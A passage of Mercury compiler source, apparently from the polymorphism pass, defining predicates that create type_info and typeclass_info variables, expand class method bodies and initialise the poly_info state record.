TypeVarName) ->\n        poly_info_get_varset(!.Info, VarSet0),\n        VarName = \"TypeInfo_for_\" ++ TypeVarName,\n        varset.name_var(Var, VarName, VarSet0, VarSet),\n        poly_info_set_varset(VarSet, !Info)\n    ;\n        true\n    ),\n    make_head_vars(TypeVars, TypeVarSet, TypeInfoVars1, !Info),\n    TypeInfoVars = [Var | TypeInfoVars1].\n\n:- pred new_type_info_var(mer_type::in, type_info_kind::in,\n    prog_var::out, poly_info::in, poly_info::out) is det.\n\nnew_type_info_var(Type, Kind, Var, !Info) :-\n    poly_info_get_varset(!.Info, VarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    new_type_info_var_raw(Type, Kind, Var, VarSet0, VarSet,\n        VarTypes0, VarTypes, RttiVarMaps0, RttiVarMaps),\n    poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info).\n\nnew_type_info_var_raw(Type, Kind, Var, !VarSet, !VarTypes, !RttiVarMaps) :-\n    % Introduce new variable.\n    varset.new_var(Var, !VarSet),\n    term.var_to_int(Var, VarNum),\n    string.int_to_string(VarNum, VarNumStr),\n    (\n        Kind = type_info,\n        Prefix = \"TypeInfo_\",\n        rtti_det_insert_type_info_type(Var, Type, !RttiVarMaps)\n    ;\n        Kind = type_ctor_info,\n        Prefix = \"TypeCtorInfo_\"\n\n        % XXX Perhaps we should record the variables holding\n        % type_ctor_infos in the rtti_varmaps somewhere.\n    ),\n    Name = Prefix ++ VarNumStr,\n    varset.name_var(Var, Name, !VarSet),\n    add_var_type(Var, type_info_type, !VarTypes).\n\n%---------------------------------------------------------------------------%\n\n:- pred get_type_info_locn(tvar::in, type_info_locn::out, poly_info::in,\n    poly_info::out) is det.\n\nget_type_info_locn(TypeVar, TypeInfoLocn, !Info) :-\n    % If we have already allocated a location for this type_info, then all\n    % we need to do is to extract the type_info variable from its location.\n    (\n        rtti_search_type_info_locn(!.Info ^ poly_rtti_varmaps, TypeVar,\n            TypeInfoLocnPrime)\n    ->\n        TypeInfoLocn = TypeInfoLocnPrime\n    ;\n        % Otherwise, we need to create a new type_info variable, and set the\n        % location for this type variable to be that type_info variable.\n        %\n        % This is wrong if the type variable is one of the existentially\n        % quantified variables of a called predicate and the variable occurs\n        % in an existential typeclass constraint. In that case the type_info\n        % will be stored in the typeclass_info variable produced by the\n        % predicate, not in a type_info variable. maybe_extract_type_info\n        % will fix this up when the typeclass_info is created.\n\n        get_tvar_kind(!.Info ^ poly_tvar_kinds, TypeVar, Kind),\n        Type = type_variable(TypeVar, Kind),\n        new_type_info_var(Type, type_info, Var, !Info),\n        TypeInfoLocn = type_info(Var),\n        poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n        rtti_det_insert_type_info_locn(TypeVar, TypeInfoLocn,\n            RttiVarMaps0, RttiVarMaps),\n        poly_info_set_rtti_varmaps(RttiVarMaps, !Info)\n    ).\n\n    % Generate code to get the value of a type variable.\n    %\n:- pred get_type_info_from_locn(tvar::in, type_info_locn::in,\n    prog_var::out, list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nget_type_info_from_locn(TypeVar, TypeInfoLocn, Var, ExtraGoals, !Info) :-\n    (\n        % If the typeinfo is available in a variable, just use it.\n        TypeInfoLocn = type_info(TypeInfoVar),\n        Var = TypeInfoVar,\n        ExtraGoals = []\n    ;\n        % If the typeinfo is in a typeclass_info, then we need to extract it\n        % before using it.\n        TypeInfoLocn = typeclass_info(TypeClassInfoVar, Index),\n        polymorphism_extract_type_info(TypeVar, TypeClassInfoVar, Index,\n            ExtraGoals, Var, !Info)\n    ).\n\n:- pred polymorphism_extract_type_info(tvar::in, prog_var::in, int::in,\n    list(hlds_goal)::out, prog_var::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_extract_type_info(TypeVar, TypeClassInfoVar, Index, Goals,\n        TypeInfoVar, !Info) :-\n    get_poly_const(Index, IndexVar, IndexGoals, !Info),\n    poly_info_get_varset(!.Info, VarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    poly_info_get_module_info(!.Info, ModuleInfo),\n    poly_info_get_tvar_kinds(!.Info, TVarKinds),\n    get_tvar_kind(TVarKinds, TypeVar, Kind),\n    IndexIntOrVar = iov_var(IndexVar),\n    gen_extract_type_info(ModuleInfo, TypeVar, Kind, TypeClassInfoVar,\n        IndexIntOrVar, ExtractGoals, TypeInfoVar,\n        VarSet0, VarSet, VarTypes0, VarTypes, RttiVarMaps0, RttiVarMaps),\n    Goals = IndexGoals ++ ExtractGoals,\n    poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info).\n\ngen_extract_type_info(ModuleInfo, TypeVar, Kind, TypeClassInfoVar,\n        IndexIntOrVar, Goals, TypeInfoVar, !VarSet, !VarTypes, !RttiVarMaps) :-\n    (\n        IndexIntOrVar = iov_int(Index),\n        % We cannot call get_poly_const since we don't have a poly_info.\n        make_int_const_construction_alloc(Index, yes(\"TypeInfoIndex\"),\n            IndexGoal, IndexVar, !VarSet, !VarTypes),\n        IndexGoals = [IndexGoal]\n    ;\n        IndexIntOrVar = iov_var(IndexVar),\n        IndexGoals = []\n    ),\n    Type = type_variable(TypeVar, Kind),\n    new_type_info_var_raw(Type, type_info, TypeInfoVar,\n        !VarSet, !VarTypes, !RttiVarMaps),\n    goal_util.generate_simple_call(mercury_private_builtin_module,\n        \"type_info_from_typeclass_info\", pf_predicate, only_mode,\n        detism_det, purity_pure, [TypeClassInfoVar, IndexVar, TypeInfoVar], [],\n        instmap_delta_bind_var(TypeInfoVar), ModuleInfo, term.context_init,\n        CallGoal),\n    Goals = IndexGoals ++ [CallGoal].\n\n:- pred get_poly_const(int::in, prog_var::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nget_poly_const(IntConst, IntVar, Goals, !Info) :-\n    poly_info_get_varset(!.Info, VarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n\n    poly_info_get_int_const_map(!.Info, IntConstMap0),\n    ( map.search(IntConstMap0, IntConst, IntVarPrime) ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, !Info),\n        IntVar = IntVarPrime,\n        Goals = []\n    ;\n        make_int_const_construction_alloc(IntConst,\n            yes(\"PolyConst\" ++ string.int_to_string(IntConst)),\n            Goal, IntVar, VarSet0, VarSet, VarTypes0, VarTypes),\n        map.det_insert(IntConst, IntVar, IntConstMap0, IntConstMap),\n        poly_info_set_int_const_map(IntConstMap, !Info),\n        poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n        Goals = [Goal]\n    ).\n\n%-----------------------------------------------------------------------------%\n\n    % Usually when we call make_typeclass_info_head_var, we want to record\n    % the type_info_locn for each constrained type var so that later goals\n    % will know where to get the type_info from. However, when setting up\n    % head vars for existential constraints on the predicate/function we\n    % are processing, we assume that the type_infos will be produced\n    % somewhere else in the goal. In this case, we don't want to record\n    % the type_info_locns (if we did, then the code to actually produce the\n    % type_info will just try to get it from here, which would be a mode\n    % error).\n    %\n:- type record_type_info_locns\n    --->    do_record_type_info_locns\n    ;       do_not_record_type_info_locns.\n\n    % Create a head var for each class constraint.\n    %\n:- pred make_typeclass_info_head_vars(record_type_info_locns::in,\n    list(prog_constraint)::in, list(prog_var)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_head_vars(RecordLocns, Constraints, ExtraHeadVars,\n        !Info) :-\n    list.map_foldl(make_typeclass_info_head_var(RecordLocns), Constraints,\n        ExtraHeadVars, !Info).\n\n:- pred make_typeclass_info_head_var(record_type_info_locns::in,\n    prog_constraint::in, prog_var::out, poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_head_var(RecordLocns, Constraint, TypeClassInfoVar,\n        !Info) :-\n    (\n        poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n        rtti_search_typeclass_info_var(RttiVarMaps0, Constraint,\n            OldTypeClassInfoVar)\n    ->\n        TypeClassInfoVar = OldTypeClassInfoVar\n    ;\n        % Make a new variable to contain the dictionary for this typeclass\n        % constraint.\n        new_typeclass_info_var(Constraint, typeclass_info_kind,\n            TypeClassInfoVar, _TypeClassInfoVarType, !Info),\n        (\n            RecordLocns = do_record_type_info_locns,\n            record_constraint_type_info_locns(Constraint, TypeClassInfoVar,\n                !Info)\n        ;\n            RecordLocns = do_not_record_type_info_locns\n        )\n    ).\n\n:- pred record_constraint_type_info_locns(prog_constraint::in, prog_var::in,\n    poly_info::in, poly_info::out) is det.\n\nrecord_constraint_type_info_locns(Constraint, ExtraHeadVar, !Info) :-\n    poly_info_get_module_info(!.Info, ModuleInfo),\n\n    % Work out how many superclasses the class has.\n    Constraint = constraint(ClassName, ClassTypes),\n    list.length(ClassTypes, ClassArity),\n    ClassId = class_id(ClassName, ClassArity),\n    module_info_get_class_table(ModuleInfo, ClassTable),\n    map.lookup(ClassTable, ClassId, ClassDefn),\n    SuperClasses = ClassDefn ^ class_supers,\n    list.length(SuperClasses, NumSuperClasses),\n\n    % Find all the type variables in the constraint, and remember what\n    % index they appear in in the typeclass info.\n\n    % The first type_info will be just after the superclass infos.\n    First = NumSuperClasses + 1,\n    Last = NumSuperClasses + ClassArity,\n    assoc_list.from_corresponding_lists(ClassTypes, First `..` Last,\n        IndexedClassTypes),\n\n    % Work out which type variables we haven't seen before, or which we\n    % assumed earlier would be produced in a type_info (this can happen for\n    % code which needs mode reordering and which calls existentially\n    % quantified predicates or deconstructs existentially quantified\n    % terms).\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    NewTVarAndIndex = (pred(TVarAndIndex::out) is nondet :-\n        list.member(Type - Index, IndexedClassTypes),\n        type_vars(Type, TypeVars),\n        list.member(TypeVar, TypeVars),\n        ( rtti_search_type_info_locn(RttiVarMaps0, TypeVar, TypeInfoLocn) ->\n            TypeInfoLocn = type_info(_)\n        ;\n            true\n        ),\n        TVarAndIndex = TypeVar - Index\n    ),\n    solutions(NewTVarAndIndex, NewClassTypeVars),\n\n    % Make an entry in the TypeInfo locations map for each new type variable.\n    % The type variable can be found at the previously calculated offset\n    % with the new typeclass_info.\n    MakeEntry =\n        (pred(IndexedTypeVar::in, R0::in, R::out) is det :-\n            IndexedTypeVar = TheTypeVar - Index,\n            Location = typeclass_info(ExtraHeadVar, Index),\n            rtti_set_type_info_locn(TheTypeVar, Location, R0, R)\n        ),\n    list.foldl(MakeEntry, NewClassTypeVars, RttiVarMaps0, RttiVarMaps),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info).\n\n:- type tci_var_kind\n    --->    base_typeclass_info_kind\n    ;       typeclass_info_kind.\n\n:- pred new_typeclass_info_var(prog_constraint::in, tci_var_kind::in,\n    prog_var::out, mer_type::out, poly_info::in, poly_info::out) is det.\n\nnew_typeclass_info_var(Constraint, VarKind, Var, VarType, !Info) :-\n    poly_info_get_varset(!.Info, VarSet0),\n    poly_info_get_var_types(!.Info, VarTypes0),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n\n    Constraint = constraint(ClassName, _),\n    ClassNameString = unqualify_name(ClassName),\n\n    % Introduce new variable.\n    varset.new_var(Var, VarSet0, VarSet1),\n    (\n        VarKind = base_typeclass_info_kind,\n        Name = \"BaseTypeClassInfo_for_\" ++ ClassNameString\n    ;\n        VarKind = typeclass_info_kind,\n        Name = \"TypeClassInfo_for_\" ++ ClassNameString\n    ),\n    varset.name_var(Var, Name, VarSet1, VarSet),\n    build_typeclass_info_type(Constraint, VarType),\n    add_var_type(Var, VarType, VarTypes0, VarTypes),\n    rtti_det_insert_typeclass_info_var(Constraint, Var,\n        RttiVarMaps0, RttiVarMaps),\n\n    poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info).\n\nbuild_typeclass_info_type(_Constraint, DictionaryType) :-\n    PrivateBuiltin = mercury_private_builtin_module,\n    TypeclassInfoTypeName = qualified(PrivateBuiltin, \"typeclass_info\"),\n    DictionaryType = defined_type(TypeclassInfoTypeName, [], kind_star).\n\n%---------------------------------------------------------------------------%\n\ntype_is_typeclass_info(TypeClassInfoType) :-\n    type_to_ctor(TypeClassInfoType, TypeCtor),\n    TypeCtor = type_ctor(qualified(ModuleName, \"typeclass_info\"), 0),\n    ModuleName = mercury_private_builtin_module.\n\ntype_is_type_info_or_ctor_type(TypeInfoType) :-\n    type_to_ctor_and_args(TypeInfoType, TypeCtor, []),\n    TypeCtor = type_ctor(qualified(ModuleName, TypeName), 0),\n    ModuleName = mercury_private_builtin_module,\n    ( TypeName = \"type_info\"\n    ; TypeName = \"type_ctor_info\"\n    ).\n\nbuild_type_info_type(Type, TypeInfoType) :-\n    % XXX TypeInfoType = type_ctor_info_type.\n    ( type_has_variable_arity_ctor(Type, _, _) ->\n        % We cannot use a plain type_ctor_info because we need to\n        % record the arity.\n        TypeInfoType = type_info_type\n    ; type_to_ctor_and_args(Type, _Ctor, Args) ->\n        (\n            Args = [],\n            TypeInfoType = type_ctor_info_type\n        ;\n            Args = [_ | _],\n            TypeInfoType = type_info_type\n        )\n    ;\n        % The type is variable, which means we have a type_info for it.\n        % That type_info may actually be a type_ctor_info, but the code\n        % of the current predicate won't treat it as such.\n        TypeInfoType = type_info_type\n    ).\n\n%---------------------------------------------------------------------------%\n\n    % Expand the bodies of all class methods. Class methods for imported\n    % classes are only expanded if we are performing type specialization,\n    % so that method lookups for imported classes can be optimized.\n    %\n    % The expansion involves inserting a class_method_call with the appropriate\n    % arguments, which is responsible for extracting the appropriate part\n    % of the dictionary.\n    %\n:- pred expand_class_method_bodies(module_info::in, module_info::out) is det.\n\nexpand_class_method_bodies(!ModuleInfo) :-\n    module_info_get_class_table(!.ModuleInfo, Classes),\n    module_info_get_name(!.ModuleInfo, ModuleName),\n    map.keys(Classes, ClassIds0),\n\n    module_info_get_globals(!.ModuleInfo, Globals),\n    globals.lookup_bool_option(Globals, user_guided_type_specialization,\n        TypeSpec),\n    (\n        TypeSpec = no,\n        % Don't expand classes from other modules.\n        list.filter(class_id_is_from_given_module(ModuleName),\n            ClassIds0, ClassIds)\n    ;\n        TypeSpec = yes,\n        ClassIds = ClassIds0\n    ),\n    map.apply_to_list(ClassIds, Classes, ClassDefns),\n    list.foldl(expand_class_method_bodies_2, ClassDefns, !ModuleInfo).\n\n:- pred class_id_is_from_given_module(module_name::in, class_id::in)\n    is semidet.\n\nclass_id_is_from_given_module(ModuleName, ClassId) :-\n    ClassId = class_id(qualified(ModuleName, _), _).\n\n:- pred expand_class_method_bodies_2(hlds_class_defn::in,\n    module_info::in, module_info::out) is det.\n\nexpand_class_method_bodies_2(ClassDefn, !ModuleInfo) :-\n    Interface = ClassDefn ^ class_hlds_interface,\n    list.foldl2(expand_class_method_body, Interface, 1, _, !ModuleInfo).\n\n:- pred expand_class_method_body(hlds_class_proc::in, int::in, int::out,\n    module_info::in, module_info::out) is det.\n\nexpand_class_method_body(hlds_class_proc(PredId, ProcId), !ProcNum,\n        !ModuleInfo) :-\n    module_info_get_preds(!.ModuleInfo, PredTable0),\n    map.lookup(PredTable0, PredId, PredInfo0),\n    pred_info_get_procedures(PredInfo0, ProcTable0),\n    map.lookup(ProcTable0, ProcId, ProcInfo0),\n\n    % Find which of the constraints on the pred is the one introduced\n    % because it is a class method.\n    pred_info_get_class_context(PredInfo0, ClassContext),\n    ( ClassContext = constraints([Head | _], _) ->\n        InstanceConstraint = Head\n    ;\n        unexpected($module, $pred, \"class method is not constrained\")\n    ),\n\n    proc_info_get_rtti_varmaps(ProcInfo0, RttiVarMaps),\n    rtti_lookup_typeclass_info_var(RttiVarMaps, InstanceConstraint,\n        TypeClassInfoVar),\n\n    proc_info_get_headvars(ProcInfo0, HeadVars0),\n    proc_info_get_argmodes(ProcInfo0, Modes0),\n    proc_info_get_declared_determinism(ProcInfo0, MaybeDetism0),\n    (\n        MaybeDetism0 = yes(Detism)\n    ;\n        MaybeDetism0 = no,\n        % Omitting the determinism for a method is not allowed. But make_hlds\n        % will have already detected and reported the error. So here we can\n        % just pick some value at random; hopefully something that won't cause\n        % flow-on errors. We also mark the predicate as invalid, also to avoid\n        % flow-on errors.\n        Detism = detism_non,\n        module_info_remove_predid(PredId, !ModuleInfo)\n    ),\n\n    % Work out which argument corresponds to the constraint which is introduced\n    % because this is a class method, then delete it from the list of args to\n    % the class_method_call. That variable becomes the \"dictionary\" variable\n    % for the class_method_call. (cf. the closure for a higher order call).\n    (\n        list.nth_member_search(HeadVars0, TypeClassInfoVar, N),\n        delete_nth(HeadVars0, N, HeadVarsPrime),\n        delete_nth(Modes0, N, ModesPrime)\n    ->\n        HeadVars = HeadVarsPrime,\n        Modes = ModesPrime\n    ;\n        unexpected($module, $pred, \"typeclass_info var not found\")\n    ),\n\n    InstanceConstraint = constraint(ClassName, InstanceArgs),\n    list.length(InstanceArgs, InstanceArity),\n    pred_info_get_call_id(PredInfo0, CallId),\n    BodyGoalExpr = generic_call(\n        class_method(TypeClassInfoVar, !.ProcNum,\n            class_id(ClassName, InstanceArity), CallId),\n        HeadVars, Modes, arg_reg_types_unset, Detism),\n\n    % Make the goal info for the call.\n    set_of_var.list_to_set(HeadVars0, NonLocals),\n    instmap_delta_from_mode_list(HeadVars0, Modes0, !.ModuleInfo,\n        InstmapDelta),\n    pred_info_get_purity(PredInfo0, Purity),\n    goal_info_init(NonLocals, InstmapDelta, Detism, Purity, GoalInfo),\n    BodyGoal = hlds_goal(BodyGoalExpr, GoalInfo),\n\n    proc_info_set_goal(BodyGoal, ProcInfo0, ProcInfo),\n    map.det_update(ProcId, ProcInfo, ProcTable0, ProcTable),\n    pred_info_set_procedures(ProcTable, PredInfo0, PredInfo1),\n    ( pred_info_is_imported(PredInfo1) ->\n        pred_info_set_import_status(status_opt_imported, PredInfo1, PredInfo)\n    ;\n        PredInfo = PredInfo1\n    ),\n\n    map.det_update(PredId, PredInfo, PredTable0, PredTable),\n    module_info_set_preds(PredTable, !ModuleInfo),\n\n    !:ProcNum = !.ProcNum + 1.\n\n:- pred delete_nth(list(T)::in, int::in, list(T)::out) is semidet.\n\ndelete_nth([X | Xs], N0, Result) :-\n    ( N0 > 1 ->\n        N = N0 - 1,\n        delete_nth(Xs, N, TheRest),\n        Result = [X | TheRest]\n    ;\n        Result = Xs\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- func get_constrained_vars(prog_constraint) = list(tvar).\n\nget_constrained_vars(Constraint) = CVars :-\n    Constraint = constraint(_, CTypes),\n    type_vars_list(CTypes, CVars).\n\n%---------------------------------------------------------------------------%\n\n:- pred all_are_const_struct_args(\n    assoc_list(prog_var, maybe(const_struct_arg))::in,\n    list(const_struct_arg)::out) is semidet.\n\nall_are_const_struct_args([], []).\nall_are_const_struct_args([VarMCA | VarsMCAs], [ConstArg | ConstArgs]) :-\n    VarMCA = _Var - MCA,\n    MCA = yes(ConstArg),\n    all_are_const_struct_args(VarsMCAs, ConstArgs).\n\n:- pred get_inst_of_const_struct_arg(const_struct_db::in, const_struct_arg::in,\n    mer_inst::out)\n    is det.\n\nget_inst_of_const_struct_arg(ConstStructDb, ConstArg, Inst) :-\n    (\n        ConstArg = csa_constant(ConsId, _),\n        Inst = bound(shared, inst_test_results_fgtc,\n            [bound_functor(ConsId, [])])\n    ;\n        ConstArg = csa_const_struct(StructNum),\n        lookup_const_struct_num(ConstStructDb, StructNum, Struct),\n        Struct = const_struct(_, _, _, Inst)\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- pred materialize_base_typeclass_info_var(prog_constraint::in, cons_id::in,\n    prog_var::out, list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nmaterialize_base_typeclass_info_var(Constraint, ConsId, Var, Goals, !Info) :-\n    poly_info_get_const_struct_var_map(!.Info, ConstStructVarMap0),\n    build_typeclass_info_type(Constraint, ConstArgType),\n    ConstArg = csa_constant(ConsId, ConstArgType),\n    ( map.search(ConstStructVarMap0, ConstArg, OldVar) ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, !Info),\n        Var = OldVar,\n        Goals = []\n    ;\n        new_typeclass_info_var(Constraint, base_typeclass_info_kind, Var,\n            _VarType, !Info),\n\n        % Create the construction unification to initialize the variable.\n        RHS = rhs_functor(ConsId, no, []),\n        Unification = construct(Var, ConsId, [], [],\n            construct_dynamically, cell_is_shared, no_construct_sub_info),\n        UnifyMode = (free -> ground(shared, none)) -\n            (ground(shared, none) -> ground(shared, none)),\n        UnifyContext = unify_context(umc_explicit, []),\n        % XXX The UnifyContext is wrong.\n        Unify = unify(Var, RHS, UnifyMode, Unification, UnifyContext),\n\n        % Create the unification goal.\n        NonLocals = set_of_var.make_singleton(Var),\n        InstmapDelta = instmap_delta_bind_var(Var),\n        goal_info_init(NonLocals, InstmapDelta, detism_det, purity_pure,\n            GoalInfo),\n        Goal = hlds_goal(Unify, GoalInfo),\n        Goals = [Goal]\n    ).\n\n:- pred materialize_typeclass_info_var(prog_constraint::in, int::in,\n    prog_var::out, list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nmaterialize_typeclass_info_var(Constraint, InstanceIdConstNum, Var, Goals,\n        !Info) :-\n    poly_info_get_const_struct_var_map(!.Info, ConstStructVarMap0),\n    InstanceIdConstArg = csa_const_struct(InstanceIdConstNum),\n    ( map.search(ConstStructVarMap0, InstanceIdConstArg, OldVar) ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, !Info),\n        Var = OldVar,\n        Goals = []\n    ;\n        new_typeclass_info_var(Constraint, typeclass_info_kind, Var, _VarType,\n            !Info),\n        map.det_insert(InstanceIdConstArg, Var,\n            ConstStructVarMap0, ConstStructVarMap),\n        poly_info_set_const_struct_var_map(ConstStructVarMap, !Info),\n\n        % Create the construction unification to initialize the variable.\n        ConsId = typeclass_info_const(InstanceIdConstNum),\n        RHS = rhs_functor(ConsId, no, []),\n        Unification = construct(Var, ConsId, [], [],\n            construct_statically, cell_is_shared, no_construct_sub_info),\n        UnifyMode = (free -> ground(shared, none)) -\n            (ground(shared, none) -> ground(shared, none)),\n        UnifyContext = unify_context(umc_explicit, []),\n        % XXX The UnifyContext is wrong.\n        GoalExpr = unify(Var, RHS, UnifyMode, Unification, UnifyContext),\n\n        % Create a goal_info for the unification.\n        NonLocals = set_of_var.make_singleton(Var),\n        InstmapDelta = instmap_delta_bind_var(Var),\n        goal_info_init(NonLocals, InstmapDelta, detism_det, purity_pure,\n            GoalInfo),\n        Goal = hlds_goal(GoalExpr, GoalInfo),\n        Goals = [Goal]\n    ).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n:- type const_or_var_arg\n    --->    cova_const(const_struct_arg)\n    ;       cova_var(prog_var).\n\n:- pred make_const_or_var_arg(pair(prog_var, maybe(const_struct_arg))::in,\n    const_or_var_arg::out) is det.\n\nmake_const_or_var_arg(Var - MCA, ConstOrVarArg) :-\n    (\n        MCA = no,\n        ConstOrVarArg = cova_var(Var)\n    ;\n        MCA = yes(ConstArg),\n        ConstOrVarArg = cova_const(ConstArg)\n    ).\n\n:- type type_info_var_map ==\n    map(type_ctor,\n        map(list(mer_type), pair(prog_var, maybe(const_struct_arg)))).\n\n:- type typeclass_info_map_entry\n    --->    typeclass_info_map_entry(\n                % The cons_id representing the base_typeclass_info.\n                cons_id,\n\n                % Maps the arguments of the typeclass_info_cell_constructor\n                % after the base_typeclass_info to the variable that holds the\n                % typeclass_info for that cell.\n                map(list(const_or_var_arg),\n                    pair(prog_var, maybe(const_struct_arg)))\n            ).\n\n:- type typeclass_info_map ==\n    map(class_name, map(list(mer_type), typeclass_info_map_entry)).\n\n:- type int_const_map == map(int, prog_var).\n\n    % If the value that can be a constant structure argument is currently\n    % available in a variable, give the id of that variable.\n    %\n:- type const_struct_var_map == map(const_struct_arg, prog_var).\n\n:- type poly_info\n    --->    poly_info(\n                % The first two fields are from the proc_info.\n                poly_varset                 :: prog_varset,\n                poly_vartypes               :: vartypes,\n\n                % The next two fields from the pred_info.\n                poly_typevarset             :: tvarset,\n                poly_tvar_kinds             :: tvar_kind_map,\n\n                % Gives information about the locations of type_infos\n                % and typeclass_infos.\n                poly_rtti_varmaps           :: rtti_varmaps,\n\n                % Specifies why each constraint that was eliminated from the\n                % pred was able to be eliminated (this allows us to efficiently\n                % construct the dictionary).\n                % Note that the rtti_varmaps is separate from the\n                % constraint_proof_map, since the second is the information\n                % calculated by typecheck.m, while the first is the information\n                % calculated here in polymorphism.m.\n                poly_proof_map              :: constraint_proof_map,\n\n                % Specifies the constraints at each location in the goal.\n                poly_constraint_map         :: constraint_map,\n\n                % The next four maps hold information about what\n                % type_ctor_infos, type_infos, base_typeclass_infos,\n                % typeclass_infos and ints are guaranteed to be available\n                % (i.e. created by previous code on all execution paths)\n                % at the current point in the code, so they can be reused.\n                % The fifth field counts the number of times that one of these\n                % variables has in fact been reused.\n                %\n                % The type_infos and typeclass_infos are in the first two maps.\n                % The type_ctor_infos and base_typeclass_infos are in the\n                % fourth map. The integers are in the third map.\n                % The fourth map also caches typeclass_infos for instance ids.\n                poly_type_info_var_map      :: type_info_var_map,\n                poly_typeclass_info_map     :: typeclass_info_map,\n                poly_int_const_map          :: int_const_map,\n                poly_const_struct_var_map   :: const_struct_var_map,\n                poly_num_reuses             :: int,\n\n                poly_snapshot_num           :: int,\n\n                % The database of constant structures of the module.\n                % If a type_info or typeclass_info we construct is a constant\n                % term, we allocate it in this database.\n                poly_const_struct_db        :: const_struct_db,\n\n                poly_pred_info              :: pred_info,\n                poly_module_info            :: module_info\n            ).\n\n%---------------------------------------------------------------------------%\n\n    % Init_poly_info initializes a poly_info from a pred_info and clauses_info.\n    % (See also create_poly_info.)\n    %\n:- pred init_poly_info(module_info::in, pred_info::in, clauses_info::in,\n    poly_info::out) is det.\n\ninit_poly_info(ModuleInfo, PredInfo, ClausesInfo, PolyInfo) :-\n    clauses_info_get_varset(ClausesInfo, VarSet),\n    clauses_info_get_vartypes(ClausesInfo, VarTypes),\n    pred_info_get_typevarset(PredInfo, TypeVarSet),\n    pred_info_get_tvar_kinds(PredInfo, TypeVarKinds),\n    pred_info_get_constraint_proofs(PredInfo, Proofs),\n    pred_info_get_constraint_map(PredInfo, ConstraintMap),\n    rtti_varmaps_init(RttiVarMaps),\n    map.init(TypeInfoVarMap),\n    map.init(TypeClassInfoMap),\n    map.init(IntConstMap),\n    map.init(ConstStructVarMap),\n    NumReuses = 0,\n    SnapshotNum = 0,\n    module_info_get_const_struct_db(ModuleInfo, ConstStructDb),\n    PolyInfo = poly_info(VarSet, VarTypes, TypeVarSet, TypeVarKinds,\n        RttiVarMaps, Proofs, ConstraintMap,\n        TypeInfoVarMap, TypeClassInfoMap, IntConstMap, ConstStructVarMap,\n        NumReuses, SnapshotNum, ConstStructDb, PredInfo, ModuleInfo).\n\n    % Create_poly_info creates a poly_info for an existing procedure.\n    % (See also init_poly_info.)\n    %\ncreate_poly_info(ModuleInfo, PredInfo, ProcInfo, PolyInfo) :-\n    pred_info_get_typevarset(PredInfo, TypeVarSet),\n    pred_info_get_tvar_kinds(PredInfo, TypeVarKinds),\n    pred_info_get_constraint_proofs(PredInfo, Proofs),\n    pred_info_get_constraint_map(PredInfo, ConstraintMap),\n    proc_info_get_varset(ProcInfo, VarSet),\n    proc_info_get_vartypes(ProcInfo, VarTypes),\n    proc_info_get_rtti_varmaps(ProcInfo, RttiVarMaps),\n    map.init(TypeInfoVarMap),\n    map.init(TypeClassInfoMap),\n    map.init(IntConstMap),\n    map.init(ConstStructVarMap),\n    NumReuses = 0,\n    SnapshotNum = 0,\n    module_info_get_const_struct_db(ModuleInfo, ConstStructDb),\n    PolyInfo = poly_info(VarSet, VarTypes, TypeVarSet, TypeVarKinds,\n        RttiVarMaps, Proofs, ConstraintMap, TypeInfoVarMap,\n        TypeClassInfoMap, IntConstMap, ConstStructVarMap,\n        NumReuses, SnapshotNum, ConstStructDb, PredInfo, ModuleInfo).\n\npoly_info_extract(Info, !PredInfo, !ProcInfo, !:ModuleInfo) :-\n    Info = poly_info(VarSet, VarTypes, TypeVarSet, TypeVarKinds,\n        RttiVarMaps, _Proofs, _ConstraintMap,\n        _TypeInfoVarMap, _TypeClassInfoMap, _IntConstMap, _ConstStructVarMap,\n        _NumReuses, _SnapshotNum, ConstStructDb, _OldPredInfo, !:ModuleInfo),\n\n    module_info_set_const_struct_db(ConstStructDb, !ModuleInfo),\n\n    % Set the new values of the fields in proc_info and pred_info.\n    proc_info_set_varset(VarSet, !ProcInfo),\n    proc_info_set_vartypes(VarTypes, !ProcInfo),\n    proc_info_set_rtti_varmaps(RttiVarMaps, !ProcInfo),\n    pred_info_set_typevarset(TypeVarSet, !PredInfo),\n    pred_info_set_tvar_kinds(TypeVarKinds, !PredInfo).\n\n%---------------------------------------------------------------------------%\n\n:- pred poly_info_get_varset(poly_info::in, prog_varset::out) is det.\n:- pred poly_info_get_var_types(poly_info::in, vartypes::out) is det.\n:- pred poly_info_get_typevarset(poly_info::in, tvarset::out) is det.\n:- pred poly_info_get_tvar_kinds(poly_info::in, tvar_kind_map::out) is det.\n:- pred poly_info_get_rtti_varmaps(poly_info::in, rtti_varmaps::out) is det.\n:- pred poly_info_get_proofs(poly_info::in, constraint_proof_map::out) is det.\n:- pred poly_info_get_constraint_map(poly_info::in, constraint_map::out)\n    is det.\n:- pred poly_info_get_type_info_var_map(poly_info::in,\n  